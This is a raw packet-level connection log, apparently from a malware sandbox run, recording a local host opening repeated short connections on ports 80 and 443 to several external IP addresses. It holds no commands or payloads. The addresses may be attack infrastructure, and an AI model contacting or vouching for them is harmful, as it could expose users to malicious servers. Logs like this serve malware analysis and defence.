Feb 16, 2023 10:01:41.435707092 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.435774088 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.435878038 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.435892105 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.435911894 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.435928106 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.435966969 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.436042070 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.436409950 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.436435938 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.436569929 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.436610937 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.436708927 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.436971903 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.436999083 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.437096119 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.437138081 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.437180042 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.437216997 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.437587976 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.437616110 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.437688112 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.437731981 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.437764883 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.437799931 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.438169003 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.438199997 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.438292980 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.438292980 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.438334942 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.438421965 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.438781977 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.438806057 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.438895941 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.438940048 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.438975096 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.439012051 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.439351082 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.439374924 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.439446926 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.439487934 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.439522982 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.439558029 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.439873934 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.439898014 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.439965963 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.439996958 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.440027952 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.440062046 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.440366030 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.440418005 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.440459967 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.440471888 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.440517902 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.440547943 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.440670967 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.440720081 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.440748930 CET	49704	443	192.168.2.4	190.114.9.88
Feb 16, 2023 10:01:41.440771103 CET	443	49704	190.114.9.88	192.168.2.4
Feb 16, 2023 10:01:41.825297117 CET	49705	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:42.083662987 CET	80	49705	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:42.083863974 CET	49705	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:42.096292973 CET	49705	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:42.096365929 CET	49705	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:42.356662989 CET	80	49705	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:43.331156015 CET	80	49705	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:43.331198931 CET	80	49705	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:43.331346989 CET	49705	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:43.334261894 CET	49705	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:43.592514038 CET	80	49705	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:43.783989906 CET	49706	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:43.956769943 CET	80	49706	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:43.956898928 CET	49706	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:43.957303047 CET	49706	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:43.970172882 CET	49706	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:44.145293951 CET	80	49706	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:44.758560896 CET	80	49706	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:44.758641958 CET	80	49706	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:44.758739948 CET	49706	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:44.758795977 CET	49706	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:44.933587074 CET	80	49706	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:45.246846914 CET	49707	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:45.492712975 CET	80	49707	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:45.493810892 CET	49707	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:45.645061970 CET	49707	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:45.646595001 CET	49707	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:45.900760889 CET	80	49707	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:46.970738888 CET	80	49707	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:46.970776081 CET	80	49707	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:46.970957994 CET	49707	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:46.971023083 CET	49707	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:47.228821993 CET	49708	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:47.229121923 CET	80	49707	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:47.503488064 CET	80	49708	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:47.503752947 CET	49708	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:48.183792114 CET	49708	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:48.183873892 CET	49708	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:48.457802057 CET	80	49708	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:49.404561996 CET	80	49708	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:49.404614925 CET	80	49708	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:49.404773951 CET	49708	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:49.404864073 CET	49708	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:49.517632961 CET	49709	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:49.678608894 CET	80	49708	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:49.805522919 CET	80	49709	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:49.805654049 CET	49709	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:49.806051016 CET	49709	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:49.806124926 CET	49709	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:50.106635094 CET	80	49709	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:51.015386105 CET	80	49709	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:51.015439987 CET	80	49709	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:51.015582085 CET	49709	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:51.018119097 CET	49709	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:51.624245882 CET	49710	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:51.677516937 CET	80	49710	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:51.677781105 CET	49710	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:51.678270102 CET	49710	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:51.678340912 CET	49710	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:51.732655048 CET	80	49710	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:51.828072071 CET	49709	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:52.006392002 CET	80	49710	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:52.006443024 CET	80	49710	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:52.006659985 CET	49710	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:52.006807089 CET	49710	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:52.061589003 CET	80	49710	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:52.112937927 CET	80	49709	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:52.153978109 CET	49711	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:52.457262039 CET	80	49711	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:52.457406998 CET	49711	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:52.457994938 CET	49711	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:52.458079100 CET	49711	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:52.769294977 CET	80	49711	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:53.706219912 CET	80	49711	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:53.706276894 CET	80	49711	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:53.706506968 CET	49711	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:53.706604958 CET	49711	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:53.811809063 CET	49712	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:53.867317915 CET	80	49712	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:53.867538929 CET	49712	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:53.867978096 CET	49712	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:53.868058920 CET	49712	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:53.921441078 CET	80	49712	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:54.012972116 CET	80	49711	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:54.206713915 CET	80	49712	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:54.206808090 CET	80	49712	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:54.206968069 CET	49712	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:54.207087994 CET	49712	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:54.261604071 CET	80	49712	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:54.332355976 CET	49713	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:54.629441977 CET	80	49713	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:54.629635096 CET	49713	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:54.629961967 CET	49713	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:54.630008936 CET	49713	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:54.928023100 CET	80	49713	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:55.570550919 CET	80	49713	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:55.570600986 CET	80	49713	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:55.570792913 CET	49713	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:55.576137066 CET	49713	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:55.694689989 CET	49714	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:55.872972012 CET	80	49713	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:55.933767080 CET	80	49714	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:55.933882952 CET	49714	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:55.934287071 CET	49714	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:55.934346914 CET	49714	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:56.174391985 CET	80	49714	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:57.103809118 CET	80	49714	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:57.103858948 CET	80	49714	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:57.104058027 CET	49714	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:57.104192019 CET	49714	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:01:57.343775988 CET	80	49714	123.140.161.243	192.168.2.4
Feb 16, 2023 10:01:57.419059038 CET	49715	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:57.601583004 CET	80	49715	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:57.601757050 CET	49715	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:57.602086067 CET	49715	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:57.602132082 CET	49715	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:57.783065081 CET	80	49715	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:58.220875978 CET	80	49715	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:58.220909119 CET	80	49715	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:58.221052885 CET	49715	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:58.221111059 CET	49715	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:01:58.390389919 CET	49716	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:58.402749062 CET	80	49715	187.212.182.57	192.168.2.4
Feb 16, 2023 10:01:58.453214884 CET	80	49716	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:58.453406096 CET	49716	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:58.453947067 CET	49716	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:58.453994989 CET	49716	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:58.532705069 CET	80	49716	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:58.724737883 CET	80	49716	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:58.724783897 CET	80	49716	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:58.724966049 CET	49716	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:58.725037098 CET	49716	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:01:58.779742956 CET	80	49716	95.158.162.200	192.168.2.4
Feb 16, 2023 10:01:58.807090044 CET	49717	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:59.092139959 CET	80	49717	58.235.189.192	192.168.2.4
Feb 16, 2023 10:01:59.092364073 CET	49717	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:59.146616936 CET	49717	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:59.146684885 CET	49717	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:01:59.439090014 CET	80	49717	58.235.189.192	192.168.2.4
Feb 16, 2023 10:02:00.422382116 CET	80	49717	58.235.189.192	192.168.2.4
Feb 16, 2023 10:02:00.422446966 CET	80	49717	58.235.189.192	192.168.2.4
Feb 16, 2023 10:02:00.422555923 CET	49717	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:02:00.422647953 CET	49717	80	192.168.2.4	58.235.189.192
Feb 16, 2023 10:02:00.477528095 CET	49718	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:00.548863888 CET	80	49718	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:00.548985004 CET	49718	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:00.553108931 CET	49718	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:00.553170919 CET	49718	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:00.607682943 CET	80	49718	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:00.736988068 CET	80	49717	58.235.189.192	192.168.2.4
Feb 16, 2023 10:02:00.874716043 CET	80	49718	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:00.874762058 CET	80	49718	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:00.874813080 CET	49718	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:00.875001907 CET	49718	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:00.925426960 CET	49719	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:02:00.928788900 CET	80	49718	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:00.986268044 CET	80	49719	86.122.83.142	192.168.2.4
Feb 16, 2023 10:02:00.986397982 CET	49719	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:02:00.986648083 CET	49719	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:02:00.986685038 CET	49719	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:02:01.043183088 CET	80	49719	86.122.83.142	192.168.2.4
Feb 16, 2023 10:02:01.168277025 CET	80	49719	86.122.83.142	192.168.2.4
Feb 16, 2023 10:02:01.168333054 CET	80	49719	86.122.83.142	192.168.2.4
Feb 16, 2023 10:02:01.168489933 CET	49719	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:02:01.168639898 CET	49719	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:02:01.221800089 CET	49720	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:02:01.226217985 CET	80	49719	86.122.83.142	192.168.2.4
Feb 16, 2023 10:02:01.479443073 CET	80	49720	211.104.254.139	192.168.2.4
Feb 16, 2023 10:02:01.479923964 CET	49720	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:02:01.480161905 CET	49720	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:02:01.480161905 CET	49720	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:02:01.738182068 CET	80	49720	211.104.254.139	192.168.2.4
Feb 16, 2023 10:02:02.693857908 CET	80	49720	211.104.254.139	192.168.2.4
Feb 16, 2023 10:02:02.693900108 CET	80	49720	211.104.254.139	192.168.2.4
Feb 16, 2023 10:02:02.694118977 CET	49720	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:02:02.694200039 CET	49720	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:02:02.951610088 CET	80	49720	211.104.254.139	192.168.2.4
Feb 16, 2023 10:02:03.258814096 CET	49721	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:03.442995071 CET	80	49721	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:03.443178892 CET	49721	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:03.443619013 CET	49721	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:03.443672895 CET	49721	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:03.628391981 CET	80	49721	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:04.285173893 CET	80	49721	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:04.285252094 CET	80	49721	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:04.285468102 CET	49721	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:04.309438944 CET	49721	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:04.493217945 CET	80	49721	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:04.672090054 CET	49722	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:02:04.847718000 CET	80	49722	187.212.182.57	192.168.2.4
Feb 16, 2023 10:02:04.847934961 CET	49722	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:02:04.882864952 CET	49722	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:02:04.882929087 CET	49722	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:02:05.056499958 CET	80	49722	187.212.182.57	192.168.2.4
Feb 16, 2023 10:02:05.669652939 CET	80	49722	187.212.182.57	192.168.2.4
Feb 16, 2023 10:02:05.669728041 CET	80	49722	187.212.182.57	192.168.2.4
Feb 16, 2023 10:02:05.670068979 CET	49722	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:02:05.670161963 CET	49722	80	192.168.2.4	187.212.182.57
Feb 16, 2023 10:02:05.844669104 CET	80	49722	187.212.182.57	192.168.2.4
Feb 16, 2023 10:02:06.905339003 CET	49723	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:07.155060053 CET	80	49723	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:07.155150890 CET	49723	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:07.155514002 CET	49723	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:07.155575991 CET	49723	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:07.394068956 CET	80	49723	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:08.802798986 CET	80	49723	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:08.802848101 CET	80	49723	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:08.802932024 CET	49723	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:08.803025961 CET	49723	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:08.834305048 CET	49724	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:09.039340973 CET	80	49723	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:09.075607061 CET	80	49724	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:09.075833082 CET	49724	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:09.076189995 CET	49724	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:09.076255083 CET	49724	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:09.317225933 CET	80	49724	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:10.406225920 CET	80	49724	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:10.406280041 CET	80	49724	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:10.406510115 CET	49724	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:10.406583071 CET	49724	80	192.168.2.4	123.140.161.243
Feb 16, 2023 10:02:10.472012043 CET	49725	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:10.647696972 CET	80	49724	123.140.161.243	192.168.2.4
Feb 16, 2023 10:02:10.653359890 CET	80	49725	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:10.654731035 CET	49725	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:10.654731035 CET	49725	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:10.656716108 CET	49725	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:10.837203979 CET	80	49725	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:11.476315975 CET	80	49725	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:11.476494074 CET	80	49725	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:11.476620913 CET	49725	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:11.476620913 CET	49725	80	192.168.2.4	187.245.185.123
Feb 16, 2023 10:02:11.657705069 CET	80	49725	187.245.185.123	192.168.2.4
Feb 16, 2023 10:02:11.661057949 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.720772028 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.720896006 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.721259117 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.780388117 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792649031 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792678118 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792695999 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792714119 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792732000 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792748928 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792752981 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.792768955 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792788029 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792805910 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.792805910 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.792809010 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792824030 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.792829990 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.792865992 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.852010965 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852054119 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852077007 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852097988 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852121115 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852144003 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852165937 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852188110 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852200985 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.852211952 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852235079 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852262020 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852284908 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852288961 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.852305889 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.852308989 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852329969 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.852335930 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852363110 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852375031 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.852385998 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852410078 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852431059 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.852433920 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852458000 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852472067 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.852479935 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:11.852519989 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:11.911535025 CET	80	49726	91.227.16.11	192.168.2.4
